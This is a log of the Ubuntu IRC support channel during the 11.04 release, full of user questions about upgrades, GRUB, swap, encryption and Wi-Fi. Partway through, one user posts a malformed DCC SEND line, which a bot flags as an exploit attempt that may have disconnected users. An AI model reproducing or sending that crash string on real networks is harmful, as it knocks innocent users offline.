[00:32] <entity> F. accidently hit enter
[00:32] <acicula> hypetech: yes but you have to use the alternative installer
[00:33] <ohsix> Chubcorp: just use deja-dup; don't mess with stuff in the terminal
[00:33] <hypetech> acicula: ah, ty
[00:33] <acicula> hypetech: you can only setup encrypted home directories via the gui installer
[00:33] <[dlp]> entity: And could you paste /proc/mounts as well?
[00:33] <strigoi66> So I have a problem: I have a lucid server setup and serving html, I also am serving videos. The problem (can play videos in linux, but not windows.) The error is (missing plugin) I have searched all over, but could not find a plugin to play the videos in windows. Please point me in the right direction. I am a newb to ubuntu server.
[00:34] <entity> [dlp]: sure. could you paste what they SHOULD look like afterward?
[00:34] <ohsix> hypetech: have you assured physical security and taken into account all the other things you need to do to make encrypting everything even remotely worthwhile?
[00:34] <skulltip> in the upgrade, will my wireless networking/WPA password need to be reentered?
[00:34] <acicula> hypetech: theres a few pages about it on the ubuntu i think, its not too hard to setup but can be a bit of a hassle
[00:34] <[dlp]> entity: Yeah.
[00:34] <acicula> skulltip: nope
[00:34] <hypetech> ohsix: it's for my laptop
[00:34] <xinel> hypetech, haven't been able to get full disk encryption working with natty
[00:34] <ohsix> hypetech: encrypting everything is a bad idea, you ensure all the things stored in there are as either equally in need of securing, or equally worthless
[00:35] <xinel> hangs after grub
[00:35] <bashelina> is 15 gb enough to partition /   ??
[00:35] <ohsix> hypetech: if you just want to be cool and tell people stuff is encrypted i'd seriously advise against it
[00:35] <acicula> bashelina: should be
[00:35] <chotaz> Good night everyone. Quick question, I was upgrading from Maverick to Natty, and my city went throught a complete blackout, now whenever I try to boot my ubuntu box it says the Hard drive is not ready or no present, I can keep waiting or Press S to skip mount and M to manual recovery, what should I do.
[00:36] <ohsix> hypetech: segregate what is actually important to secure & assure its phsyical security
[00:36] <xinel> imo theres nothing wrong with total hdd encryption at all
[00:36] <tase> How do I take control of my home folder on an ubuntu install while on live cd ? I want to back it up to an archive
[00:36] <ohsix> xinel: there is lots wrong with it
[00:36] <TerryBook> oh great.  it doesn't crash in unity....but every time I switch window focus away from it in gnome it crashes
[00:36] <l1nfr4nk7> hey whats up, how does everyone enjoy 11.04?
[00:37] <skulltip> tase - try backintime, it's in repos
[00:37] <bashelina> I only got 60 gb total, so i dedicated 15 gb for / ...  is it sufficient ?
[00:37] <ohsix> xinel: like i said, you make everything asuseless or everything needing the same security measures, there is no halfway, and there is a lot that can happen that renders the encryption moot
[00:37] <hypetech> ohsix: that doesn't really help if I delete sensitive information without encrypting it
[00:37] <swatto> Whats the best way to upgrade to the latest version of ubuntu please? I tried but it says cannot get release notes?
[00:37] <yofel> bashelina: that's plenty
[00:37] <delu> anyone know how to lock down docks/panels when switching between viewports/workspaces in natty? In Maverick, just my windows moved
[00:37] <skulltip> lnfr4nk7 - think it's a love/hate relationship
[00:38] <tase> skulltip: uh isn't there a way to take ownership of the folder, I dont want to backup my ubuntu install, just this one folder; ive tried chmod and chown, and it doesn't work out
[00:38] <ohsix> xinel: an enitely encrypted drive is no better than an entirely unencrypted drive most of the time
[00:38] <xinel> ohsix, how do you figure that?
[00:38] <TerryBook> how do I get to growl in unity?
[00:38] <stefg> bashelina: even 10G will be enough
[00:38] <Loshki> bashelina: 15GB should be plenty. I don't recall seeing a / partition ever go over 10GB...
[00:38] <hypetech> in the case of a powered off laptop, full disc encryption is essentially fullproof in case of theft, which is my main concern
[00:38] <ohsix> hypetech: that doesn't help either, you had sensitive information on plain storage; that is already a mistake
[00:38] <skulltip> sudo chown -R folder name.name  ?
[00:38] <kyle__> hi all - i am after some help?
[00:38] <[dlp]> xinel: Don't get him started :D
[00:38] <bashelina> stefg, Loshki  ok thx
[00:39] <l1nfr4nk7> skulltip lol yeah i agree ... i rather stick with 10.10 ... been playing with Gnome 3 a bit too
[00:39] <commodore64th> does anyone know how to start the unity panel service?
[00:39] <tripelb> Not a sexy problem: When I am on filesystem A I cant copy files from filesystem B (no permissions). When I boot into filesystem B I cant even SEE filesystem A. 10.04
[00:39] <ohsix> hypetech: a token on your person with your encrypted information is 100% no fault in case of theft and _more_
[00:39] <nutsfornatty> of you are ok with the performance hit, full encryption is ok
[00:39] <xinel> [dlp], fair enough, been awake for 30 hours myself :P
[00:39] <acicula> hypetech: set a decent password and enable the encrypted home option, that should keep most people out
[00:39] <ohsix> hypetech: `if they have access to  you and your token themn they have access to the ecrypted volumes
[00:39] <chotaz> Good night everyone. Quick question, I was upgrading from Maverick to Natty, and my city went throught a complete blackout, now whenever I try to boot my ubuntu box it says the Hard drive is not ready or no present, I can keep waiting or Press S to skip mount and M to manual recovery, what should I do??
[00:39] <nutsfornatty> you would be better suited using truecrypt to encrypt only what you absolutely must protect imo
[00:39] <chilipep4> hi. after i log in to my system, i get only the desktop background picture, and i can move the mouse, but the buttons don't do anything
[00:39] <kyle__> how do you get help here?
[00:40] <sebsebseb> chilipep4: ok with Unity in 11.04?
[00:40] <chilipep4> how to deal with this? it was working fine for quite a while up until now
[00:40] <nutsfornatty> kyle: just ask :-)
[00:40] <acicula> kyle__: by just asking your question
[00:40] <Logan_> !ask | kyle__
[00:40] <ubottu> kyle__: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[00:40] <bashelina> kyle__,  just ask a quiestion..
[00:40] <ohsix> acicula: how do you measure "most people"? you know most thefts are from people  you already know, and they might even know your password already
[00:40] <[dlp]> chotaz: You're in an awkward position.
[00:40] <NUSHOR> oh wow just a flood bot in here?
[00:40] <likki> How come I cannot upgrade to 10.10 from 10.04. In my update manager it does not show any updates after I clicked on "check".
[00:40] <acicula> ohsix:if you would like to discuss security with me do it in offtopic or ##security, not here
[00:40] <chotaz> [dlp]: how awkward is awkward?
[00:40] <chilipep4> sebsebseb: oh, actually, this is with either lucid or maverick
[00:40] <problemsnm> hi
[00:40] <sebsebseb> likki: since 10.04 only shows other LTS's by default, but yeah there isn't one
[00:40] <[dlp]> chotaz: Depends when the power failed
[00:40] <kyle__> ok, i think this is an old one but i am trying to run 11.04 from usb, i have got further than in the past - but it still wont work!
[00:41] <sebsebseb> likki: you can change the setting so it will show 10.10 as well, then go through that to 11.04
[00:41] <NUSHOR> acicula: here is a security risk for you:
[00:41] <NUSHOR> ?DCC SEND "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhh" 0 0 0
[00:41] <problemsnm> I'm trying to recompile network-manager, how can I do so?
[00:41] <delu> oh, does anyone know how to disable the floating scrollbars in 11.04?
[00:41] <FloodBot1> NOTICE - The above was an exploit attempt that may have disconnected some users. Please ignore it, or type « /msg ubottu exploit » for more information.
[00:41] <ohsix> acicula: i'd ask that you keep your baseless statements there as well. then
[00:41] <TerryBook> wth?
[00:41] <sebsebseb> chilipep4: clean install or?
[00:41] <Mahjongg> hello, I'd like to record a pronounciation from google translate. how can I record it?
[00:41] <chilipep4> sebsebseb: anyways, the only way i can get around it is to change the session to "xterm" instead of gnome.
[00:41] <likki> sebsebseb: how do I change the setting to show 10.10?
[00:41] <ohsix> hypetech: decide what is important, separate it, secure it
[00:42] <nutsfornatty> kyle__: usb booting was bugged during the betas. not sure if it has been fixed, wabi was also bugged for windows
[00:42] <Paolo_CT> HI there, the link to download the 11.04 Netbook version (Torrent) is broken
[00:42] <Paolo_CT> This is the link: http://releases.ubuntu.com/11.04/ubuntu-11.04-netbook-i386.iso.torrent
[00:42] <chotaz> [dlp]:  I don't really know, I was at the mall, and I only knew of the blackout because the entire more went out of light too. when I left home it had just started downloading the 1615 files it needed.
[00:42] <sebsebseb> ah yes thsi channel and the attacks!
[00:42] <mala85> What is the best way to install Gnome3/Gnome-Shell on 11.04? Is it to start with Kubuntu so as not to get into conflicts with Gnome2/Unity?
[00:42] <acicula> ohsix: please dont harass volunteers, recommending encrypted home and setting a good password is a perfectly acceptable recommendation
[00:42] <hypetech> ohsix: we'll have to agree to disagree in this particular instance, but I do appreciate your input :)
[00:42] <ohsix> hypetech: much like a gun without a lock won't be protected by your front door if it can just be kicked in
[00:42] <KNUBBIG> mala85: the PPA for gnome shell crashes Unity, true, so Kubuntu could be nice
[00:42] <sebsebseb> likki: look around for  the setting I guess
[00:42] <TerryBook> how do I access growl?
[00:42] <sebsebseb> !upgrade | likki
[00:42] <ubottu> likki: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[00:42] <[dlp]> chotaz: You could probably recover the filesystem but the software will likely be in an inconsistent state.
[00:42] <sebsebseb> likki: also trying to upgrade to 10.10 and such now would be slow
[00:42] <sebsebseb> probably
[00:42] <cdavis> jiohdi: it says google chrome 32 bit does not match my amd64 system and won't install
[00:42] <chilipep4> sebsebseb: clean install -- just a couple of days ago.
[00:43] <kyle__> well at least i got it to boot from USB but seemed to hang on purple screen, beta 2 worked fine, updated itself and booted me into unity, cannot do it with fnal version
[00:43] <chotaz> [dlp]:  fresh install is my best way out?
[00:43] <sebsebseb> chilipep4: hmm maybe give 11.04 a try, or some other distro :D
[00:43] <happyface> blinking cursor after grub on new 11.04 (installed with alternative usb), what can I do?
[00:43] <[dlp]> chotaz: I would, probably.
[00:43] <mala85> KNUBBIG: Thank you.
[00:43] <[dlp]> chotaz: Use a liveCD to do a backup first (if you haven't already).
[00:43] <Mahjongg> how can I record some audio that is already playing on my system?
[00:44] <sebsebseb> mala85: ok you awnt Gnome Shell :)
[00:44] <commodore64th> talntid, gconftool-2 didn't work...
[00:44] <ohsix> acicula: it is not, unless you tell people they can lose access to their information if it is damaged or they forget their passphrase as well; or that i t essentially can't be changed without recreating the volume, there is a _lot_ with suggesting people ust encrypt everything with no regard to why, it is not free and often doesn't get them what they actually want either
[00:44] <sebsebseb> want
[00:44] <chilipep4> sebsebseb: oh. i've used ubuntu -- installed off of the very same disk -- without problems for about half a year now.
[00:44] <sebsebseb> mala85: you don't quite get the proper expereince with the Gnome 3 ppa, but if it works for you, should be good enough for now I guess
[00:44] <chotaz> [dlp]:  that really sucks, I was halfway through my final project.. oh wait, I just started using ubuntu as my main OS, never remember about live CD's [/freakoutmode]
[00:44] <happyface> blinking cursor after grub on new 11.04 (installed with alternative usb), what can I do?
[00:44] <acicula> ohsix: when people enable the encrypted home they get a big warning about just that and how to recover their data in case of problems
[00:45] <chilipep4> sebsebseb: i simply tried reinstalling -- worked fine until about the 4-th reboot, and now the "gnome" sessions won't work
[00:45] <KNUBBIG> sebsebseb: but using the PPA will crash Unity, so one should be careful with it
[00:45] <ohsix> acicula: does it tell them about changing their authentication information?
[00:45] <sebsebseb> mala85: ,but you  will probably have issues trying to load up Unity if you install it, like KNUBBIG is pointing out
[00:45] <mala85> sebsebseb: Hm. Maybe I will wait a few days - 'till the dust settles :)
[00:45] <chotaz> [dlp]:  just one side question, what's the right swap size?
[00:45] <sebsebseb> !gnome3 | mala85
[00:45] <ubottu> mala85: Gnome 3 is not currently supported on Ubuntu. A PPA for natty is available at https://launchpad.net/~gnome3-team/+archive/gnome3 but these packages are _experimental_, _unstable_ and may break your system.
[00:45] <mmjunaid> hi all
[00:46] <[dlp]> chotaz: There's no simple answer to that.
[00:46] <KNUBBIG> will break is more correct x)
[00:46] <ohsix> acicula: password rotation is going to do a lot more good with casual intrusions than an encrypted volume will, the volume will be mounted the entire lifetime of the machine being on, you can't unmount it
[00:46] <sebsebseb> mala85: http://askubuntu.com/questions/22946/how-do-i-install-the-latest-version-of-gnome-3
[00:46] <sebsebseb> mala85: no that's it now, 11.04 will only get security updates now
[00:46] <sgaap> if you dont want to use unity its safe to install the gnome 3 ppa
[00:46] <mmjunaid> just upgraded to ubuntu 11.04 on my desktop and now after i choose the os in Grub there is a blank screen and no disk activity...
[00:46] <chilipep4> sebsebseb: so, based on this, i'm sure it's a relatively trivial problem, but i'm not sure with what.
[00:46] <mmjunaid> please help me
[00:46] <ohsix> chotaz: if you want to hibernate, at least 2/3rds the ram you have
[00:46] <[dlp]> chotaz: How much RAM you got?
[00:46] <KNUBBIG> !ask | mmjunaid
[00:46] <ubottu> mmjunaid: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[00:46] <Logan_> KNUBBIG: he already did
[00:47] <sebsebseb> mmjunaid: ok sounds like the upgrade gone wrong on you
[00:47] <KNUBBIG> oh sorry
[00:47] <acicula> ohsix: again i would like to suggest ##security or offtopic as the venue to continue this discussion
[00:47] <KNUBBIG> didn't see it
[00:47] <chotaz> [dlp]: 12GBs
[00:47] <Logan_> KNUBBIG: no problem
[00:47] <ohsix> chotaz: if you havelike 16gb of ram you can use less, since it won't all be in use :D
[00:47] <mala85> sebsebseb: The gnome3-team PPA will not be continuously updated?
[00:47] <Soothsayer> DCC exploit .. wtf :-|
[00:47] <sebsebseb> mala85: yes they will keep it up to date, it seems
[00:47] <ohsix> acicula: you cant make suppositions then not accept the answer & redirect
[00:47] <mmjunaid> yes,seems so, but i have clue after reading few google results,
[00:47] <Soothsayer> Kevin`: still around? got disconnected
[00:47] <JaymesKeller> Hi, I'm trying to access my NTFS RAID partition in 11.04. How do I get access into it from Ubuntu?
[00:47] <IdleOne> Soothsayer: don't do that. you can be k-lines from freenode for it :)
[00:47] <stefg> chotaz: if you plan on suspending your machine you need at least your ram size (plus some) . for the average modern machine (which rarely swaps) 1 G is usually enough
[00:47] <ohsix> it is plainly bad advice
[00:47] <[dlp]> chotaz: With that much RAM you don't really need swap unless you want to use hibernate.
[00:48] <KNUBBIG> JaymesKeller: did it work for you under 10.10?
[00:48] <sebsebseb> mala85: for the 100% full proper Gnome 3 expereince, wait untill 11.10 when it Ubuntu uses Gnome Shell,  or use another dsitro that has full Gnome 3 by default, but like I said if the ppa works for you, should be good enough for now really
[00:48] <mmjunaid> I have NVidia card and when i press the auto set button on the monitor, it say set a lower resolution
[00:48] <Kevin`> Soothsayer: pong
[00:48] <JaymesKeller> KNUBBIG: Yes, it did work under 10.10.
[00:48] <chotaz> [dlp]:  it's a lapop so yeah, hibernating is helpful.
[00:48] <[dlp]> chotaz: Or you're running something insanely memory-hungry.
[00:48] <chotaz> laptop*
[00:48] <sebsebseb> mala85: when Ubuntu uses Gnome 3 on the backend, I mean above, I typed wrong thing
[00:48] <Kevin`> Soothsayer: why would it end up being sda1? I would expect the windows c: partition to be sda1
[00:48] <ohsix> [dlp]: i always suggest at least 512m even if you have lots of ram;if only because there are pages in the vm that need never exist in memory in most cases & would just waste ram
[00:48] <Kevin`> Soothsayer: nor should you specifically change the numbers around (you'll confuse windows)
[00:48] <OrTigaS> while i'm browsing... suddenly appear if i want to upgrade! so i did!  lets see what will happen next!
[00:49]  * MC8 bashes the update manager
[00:49] <[dlp]> I usually suggest some as well.
[00:49] <mmjunaid> K
[00:49] <tase> why am i getting permission denied when trying to create an archive I files I own
[00:49] <mmjunaid> KU
[00:49] <nowherefast> hello
[00:49] <[dlp]> My machine has 3GB RAM, and used swap is almost always 0.
[00:49] <apprentice3d> hi
[00:49] <ohsix> [dlp]: also even memory hungry programs vary their access patterns, so theres no real rule of thumb, aside from hibernating :]
[00:50] <mmjunaid> KNUBBIG,  sebsebseb , any ideas please ??
[00:50] <sebsebseb> mmjunaid: clean install Ubuntu I guess
[00:50] <likki> Does 11.04 ubuntu version have a lot of bugs?
[00:50] <ohsix> [dlp]: mine is 3g, swap is usually 1-4g in use
[00:50] <mala85> Ok. Seems I need a test computer for Gnome-Shell on 11.04. Can't risk using it as the primary OS currently I guess :)
[00:50] <likki> I'm still not sure if I should download it.
[00:50] <sebsebseb> mmjunaid: or maybe simpalley  Grub is pointing to the wrong partition
[00:50] <ohsix> [dlp]: my working set is huge though, i really should get more ram
[00:50] <chotaz> [dlp]: ohsix: so I guess 4GB swap is more than enough? for my 12GB machine that is
[00:50] <nowherefast> would someone possibly be able to help me with a wifi related issue that I am having? http://ubuntuforums.org/showthread.php?t=1742299
[00:50] <OrTigaS> haha.... 4hrs to upgrade  :)
[00:50] <sebsebseb> !grub2 | mmjunaid
[00:50] <ubottu> mmjunaid: GRUB2 is the default Ubuntu boot manager since 9.10 (Karmic). Lost GRUB after installing Windows? See https://help.ubuntu.com/community/RestoreGrub - For more information and troubleshooting for GRUB2 please refer to https://help.ubuntu.com/community/Grub2 - See !grub1 for releases before Karmic (9.10)
[00:50] <[dlp]> chotaz: If Linux runs out of memory it will kill a random process.
[00:50] <Phong_> i have air conditioner tell me that it "Estimated Yearly Operating Cost is $208.  is that mean i turn my AC on 24/7 for the whole summer and cost only $208?
[00:51] <mmjunaid> hmmm, let me check if this is the case
[00:51] <[dlp]> chotaz: That is, when all RAM + swap space has been used.
[00:51] <ohsix> [dlp]: it's not random but it's close; and you can turn off overcommit
[00:51] <ohsix> (if it's a real concern)
[00:51] <Logan_> !ot | Phong_
[00:51] <ubottu> Phong_: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[00:51] <[dlp]> in which case malloc() will fail instead.
[00:51] <ohsix> well, mmap
[00:52] <Mahjongg> how can I record some audio that is already playing on my system?
[00:52] <[dlp]> :D
[00:52] <ohsix> [dlp]: but in the program likely crossing the line ;] theres a middleground option too, for some overcommit
[00:52] <chotaz> [dlp]:  rebooting now with a live 11.04 usb stick. going to do a fresh install :(
[00:52] <nowherefast> easy way out
[00:53] <ohsix> chotaz: i'd make my swap at elast half with that much memory
[00:53] <chotaz> [dlp]: kinda disappointed to see same login interface and wallpaper :x
[00:53] <ohsix> chotaz: that way a failed hibernate is less likely to sneak up on you
[00:53] <nowherefast> does anyone know how to completely remove wifi drivers in ubuntu 10.10?
[00:54] <ohsix> (which SUCKS, unless you like a hot bag & really hot laptop)
[00:54] <KNUBBIG> any1 instantly knows how to disable join/quit messages in irssi?
[00:54] <calvin> I'm having a super weird problem.  I think it may have something to do with my networking settings.  I can scp, rsync, and git push / pull anything 1406 bytes or smaller, but once i hit that cap, i get a timeout...like it sends the first packet and poops out or something.  Is anyone willing to help me troubleshoot?
[00:54] <[dlp]> I never use hibernate.
[00:54] <ohsix> KNUBBIG: /window level -joins -parts
[00:54] <[dlp]> Only suspend.
[00:54] <KNUBBIG> ohsix: thanks
[00:55] <ohsix> [dlp]: hybrid suspend wakes up the laptop for a hibernate after a while, or when the battery gets to 3%
[00:55] <JaymesKeller> I'm having problems trying to get into my NTFS RAID partition under 11.04, when it worked under 10.10. Any ideas on how to do this?
[00:55] <ohsix> which is why, practically speaking; i use hibernate a lot
[00:55] <[dlp]> ohsix: Interesting.
[00:56] <ohsix> JaymesKeller: you probably have to install dmraid, rebuild your ramfs & reboot
[00:56] <mordof> oh how i dislike problems with grub.. *sighs* So i did the install to 11.04 from 10.10, and now grub is dropping me to a repair command line, do i need to get a 11.04 live cd to fix it? or can i fix it in my 10.10 live cd?
[00:56] <[dlp]> I don't use suspend much either. I don't think my laptop has ever gone into hibernation that way.
[00:56] <entity> wow that wasn't annoying.
[00:56] <ohsix> mordof: is grub doing it or is it a busybox prompt?
[00:56] <[dlp]> entity: What?
[00:57] <entity> [dlp]: http://paste.ubuntu.com/600519/
[00:57] <entity> [dlp]: I kept getting sent to #ubuntu-read-to
[00:57] <mordof> ohsix: what's a busybox prompt? lol
[00:57] <ohsix> [dlp]: i rely on keeping my work around heavily, like months of suspends & a few hibernates
[00:57] <mmjunaid> sebsebseb, fdisk -l shows that the sda6 is the linux partition and pressing e on the boot menu item shows like this, set root='(hd0,msdos6)' is that ok ?
[00:57] <ohsix> mordof: if it doesn't say busybox don't worry about it
[00:57] <stefg> mordof: ou can probably fix it from the lice CD if you are able to chroot into the installed system
[00:57] <mordof> ohsix: ok, then i guess it's not that.
[00:57] <commodore64th> does anyone know what the default window manager for natty is?
[00:58] <acicula> unity
[00:58] <mordof> stefg: yeah, just that grub got updated with 11.04, so i'm thinking there may be version problems
[00:58] <ohsix> commodore64th: compiz with the unity plugin
[00:58] <nutsfornatty> unity
[00:58] <sebsebseb> mmjunaid: I don't really know about configuring Grub 2 that much,  you may be better off re installing with 11.04, yep a clean install
[00:58] <commodore64th> do you know how I can reset my compiz settings to their default values?
[00:58] <lcb> mordof, can you get grub menu? (SHIFT after bios loading and before grub - then recovery)
[00:58] <ohsix> nutsfornatty / acicula: the _window manager_ is compiz
[00:58] <Ziber> Using compiz with multiple monitors, is there a way I can rotate them independently?
[00:58] <chotaz> swap should be primary or logical?
[00:59] <Sexygurl2furl> <Sexygurl2furl> does anybody know the command to get java on ubuntu
[00:59] <Sexygurl2furl> ?
[00:59] <mordof> lcb: grub tries to pop up - but fails to bring up the selectable menu
[00:59] <mmjunaid> i would have done a clean install already but i have many programs installed and dont have to do all the reinstallation, i have to finish projec work.
[00:59] <mordof> lcb: it drops me to a grup repair commandline thing
[00:59] <escott> mmjunaid, thats correct
[00:59] <ohsix> Ziber: not really, the workspaces are for allmonitors
[00:59] <alien-007> unable to mount 10GB filesystem   Error mounting:exited with code 18:Failed to write lock '/dev/sda1': Resource temporarily unavailable
[00:59] <mordof> lcb: so it's seeing Grub is there, but can't continue
[00:59] <lcb> mordof, did you try that sequence?
[00:59] <commodore64th> Sexygurl2furl, sudo apt-get install java
[00:59] <nastjuid> Sexygurl2furl: which java?
[00:59] <stefg> mordof: can you mount the installed system on the Live CD environment?
[00:59] <ohsix> Ziber: you can probably get by with sticking some apps in all workspaces though
[00:59] <alien-007> im booting on a mac ibook g4
[00:59] <calvin> join #ubuntu
[00:59] <mordof> lcb: no, but i thought it was essentially the same thing, since i've tried it in the past
[00:59] <Sexygurl2furl> I  need the web plugin
[00:59] <mordof> stefg: yeah
[00:59] <sebsebseb> !home | mmjunaid
[00:59] <ubottu> mmjunaid: Your home directory is where all of your personal files are usually kept. For moving your home directory to a separate partition, please see: http://psychocats.net/ubuntu/separatehome
[00:59] <Sexygurl2furl> and the latest java
[01:00] <sebsebseb> mmjunaid: you would still have to re install the programs though
[01:00] <commodore64th> check the java website out
[01:00] <stefg> mordof: so where have you mounted it?
[01:00] <lcb> mordof, probably not. try and say something after that
[01:00] <mmjunaid> and the worst is that my wife also uses the same pc with a mulitseat and now she also cant work :(
[01:00] <escott> mmjunaid, thats the old 10.10 syntax though, it is changed slightly in 11.04
[01:00] <mordof> stefg: i'm not sure i understand - grub was working perfectly before the update, i changed nothing
[01:00] <mordof> lcb: alright, i'll be back
[01:00] <sebsebseb> mmjunaid: right, and neither of you may like the Unity interface much that is in 11.04
[01:00] <[dlp]> entity: Make your fstab look like this: http://paste.ubuntu.com/600524/
[01:00] <mordof> stefg: brb
[01:00] <nutsfornatty> switch to classic ubuntu instructions: go to login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[01:01] <_stev_> hi, I'm installing natty and I have a problem with grub2 and lvm
[01:01] <sebsebseb> mmjunaid: for example
[01:01] <lcb> mordof, don't do anything you are not sure... just go to the recovery menu and cameback here
[01:01] <KNUBBIG> cool upgrade is taking about 3 hours to complete :@ that will be 5 am here ...
[01:01] <mmjunaid> can i somehow specify the device resolution at kerrnel boot line ? when i press the e key?
[01:02] <alien-007>  unable to mount 10GB filesystem   Error mounting:exited with code 18:Failed to write lock '/dev/sda1': Resource temporarily unavailable
[01:02] <lcb> KNUBBIG, it depends on your inter-speed ;)
[01:02] <_stev_> it is an encrypted disk and grub2 can't probe a disk for my lvm root partition
[01:02] <alien-007> cai manually mount a disk on terminal /
[01:02] <KNUBBIG> lcb: already downloaded, install is taking 3 hours
[01:02] <lcb> KNUBBIG, did you upgrade before the distro upgrade?
[01:02] <_stev_> error is: Autodetection of a filesystem of "/dev/mapper/my-lvm-root-partition" failed
[01:02] <ohsix> [dlp]: heres one of those special cases thatneed intervention, you want to help him? :D
[01:02] <KNUBBIG> lcb: yes
[01:03] <ohsix> acicula: ping, help _stev_
[01:03] <lcb> KNUBBIG, so you have loads of things installed :)
[01:03] <bastidrazor> mgison
[01:03] <[dlp]> ohsix: Who?
[01:03] <entity> [dlp]: how do I get my write rights back to do that?
[01:03] <KNUBBIG> lcb: seems true :p ~1900 packages to upgrade :D
[01:03] <lcb> KNUBBIG, not too much .. :0
[01:03] <bastidrazor> ]
[01:03] <bastidrazor> \\\\
[01:04] <bastidrazor> \
[01:04] <[dlp]> entity: Try mount -o remount,rw /dev/sda2 /
[01:04] <KNUBBIG> lcb: than it's just my 5400 rpm hdd I think (+ 1.8 ghz dualcore)
[01:04] <acicula> ohsix: ?
[01:04] <lcb> KNUBBIG, let it go, don't interrupt or you might get screwed
[01:05] <thebigroflz> hi guys, im new to ubuntu, and I need some help please
[01:05] <KNUBBIG> lcb: yes I'm afraid of that, probably will just leave it running while sleeping :)
[01:05] <entity> what in the world
[01:05] <lcb> bastidrazor, it seems you have a kb problem. just hit ALT+F4
[01:05] <kbrosnan> cat problem
[01:05] <entity> lol
[01:05] <KNUBBIG> thebigroflz: what's the problem?
[01:05] <[dlp]> lol
[01:05] <nowherefast> is anyone farmiliar with blacklisting drivers and would be able to help?
[01:06] <thebigroflz> I don't want to be asked to enter my keyring password everytime to enable the wireless, but the option is faded
[01:06] <kbrosnan> nowherefast: blacklisting drivers on what?
[01:06] <thebigroflz> like when I log back in, the "automatically unlock..." option is faded and cant be set
[01:06] <visual1ce> anybody used the upgrade feature to 11.04 from 10.10 in udpate manager?
[01:06] <entity> [dlp]: it returned my prompt.
[01:06] <lcb> KNUBBIG, yes. hopefully you don't have any pop-up prompts in meanwhile
[01:06] <nowherefast> kbrosnan: i am trying to uninstall my current wifi driver
[01:07] <[dlp]> entity: Good.
[01:07] <nowherefast> kbrosnan: so that i can install a new driver with ndiswrap
[01:07] <thebigroflz> anyone know how to fix/enable this?
[01:07] <entity> [dlp]: sweet write rights are back. thanks
[01:07] <KNUBBIG> lcb: I'll freak out if I get up and it still says 2h to go, do you want to do that and that ;D
[01:07] <kbrosnan> nowherefast: oh different drivers, was thinking video
[01:07] <[dlp]> entity: Be careful.
[01:07] <ohsix> thebigroflz: do you have ubuntu log you in without a password? if you do, it won't unlock the keyring for you automatically, and you'll get the joy of unlocking it for just about every access
[01:07] <lcb> KNUBBIG, just sleep well and don't have bad dreams about the end of the world :p
[01:07] <nowherefast> kbrosnan:from what i understand i need to blacklist the current wifi driver and uninstall the module
[01:07] <commodore64th> whew! deleting my compiz settings fixed all my worries.
[01:07] <KNUBBIG> oh but it probably will do as some config files etc from grub got modified :@
[01:08] <tamer> Need help with fixing this wireless problem after upgrading to 11.04. I can't view wireless connections using nm-applet, the drivers seem to be installed and the interface is up. Any suggestions?
[01:08] <mordof> lcb: tried.. i get this:  error: symbol not found: 'grub_env_export'.  grub rescue>
[01:08] <thebigroflz> ohsix, yes ubuntu logs me in automatically everytime. so theres no way to have both then?
[01:08] <nowherefast> tamer: you're probably having the same problem i am currently having
[01:08] <KNUBBIG> ah a question just came to my mind: Is it better to use the new config file, for example for GRUB, than my 'old', modified one?
[01:08] <nowherefast> tamer:have you tried connecting with wicd?
[01:08] <mordof> lcb: same as if i didn't hit shift (kept hitting to make sure it was getting the right time)
[01:08] <lcb> mordof, so you do really need the help of a live cd/usb
[01:08] <KNUBBIG> lcb: I'll try, thanks :)
[01:08] <tamer> nowherefast, nope, what do you mean?
[01:08] <mordof> lcb: *nods* but my question is, does it have to be 11.04 live, or can i use the 10.10 live i'm on currently?
[01:09] <ohsix> thebigroflz: but in this case in particular you can bypass the problem by setting "Available for all users" in the connection properties, it will make it a system connection and store the password somewhere else, and as a bonus it'll come up way before you log in :]
[01:09] <mordof> lcb: that's how i'm here now is the 10.10 live cd
[01:09] <nowherefast> tamer: type sudo apt-get install wicd
[01:09] <escott> thebigroflz, no if you want to tinker you could try and get a usb key to do your decrypting, but then you would have to take lots of stuff out of the encrypted partition http://blog.dustinkirkland.com/2009/02/how-encrypted-home-ecryptfs-works.html
[01:09] <nowherefast> tamer: then open it and try to connect to a network
[01:09] <alien-007>  unable to mount 10GB filesystem   Error mounting:exited with code 18:Failed to write lock '/dev/sda1': Resource temporarily unavailable
[01:09] <lcb> mordof, sure because most of the system is now 11.04, isn't?
[01:09] <alien-007> how can i deal with that erroe ?
[01:09] <ohsix> nowherefast: um, don't tell people to install wicd
[01:09] <mordof> lcb: indeed.
[01:09] <entity> [dlp]: edited the file.
[01:09] <mordof> lcb: does the live cd come with the capabilities to burn a cd?
[01:10] <entity> [dlp]: still get the error
[01:10]  * mordof wonders how that would go with only one drive
[01:10] <[dlp]> entity: You reboote3d?
[01:10] <_stev_> ok, if anyone cares grub2 has a problem with lvm volumes with dashes, anyone knows how I can rename an lvm logical volume?
[01:10] <nowherefast> ohsix: it has worked for me in the past
[01:10] <ohsix> nowherefast: what wifi chip do you have? it sounds like you've gotten some awesomely bad advice
[01:10] <lcb> mordof, go easy with that. in meanwhile backup your /home /etc and /usr dirs
[01:10] <entity> [dlp]: yeah
[01:10] <stefg> alien-007: what type of file system is that?
[01:10] <nowherefast> ohsix: i have intel 3945abg
[01:10] <[dlp]> Um. Ok. That's weird.
[01:10] <KNUBBIG> Is it better to use the new 11.04 config file, for example for GRUB, than my 'old', modified one?
[01:10] <thebigroflz> ohsix, thank you, I found the option, let me test by rebooting
[01:10] <alien-007> im booting on a mac ibook g4
[01:10] <ohsix> nowherefast: no reason to keep repeating it, if theres a problem with networkmanager it should be fixed
[01:10] <lcb> mordof, yes, you could burn cd/s with it
[01:10] <entity> [dlp]: I'm just gonna reinstall maverick from CD and then try again.
[01:10] <alien-007> i honestly have no idea
[01:10] <nowherefast> ohsix: how i have the same problem using 10.10 on an eee
[01:11] <ohsix> nowherefast: are you using natty?
[01:11] <entity> because I dont have a Natty CD
[01:11] <mordof> lcb: o.o is it really that big an issue to need to back those up?
[01:11]  * [dlp] racks his brains
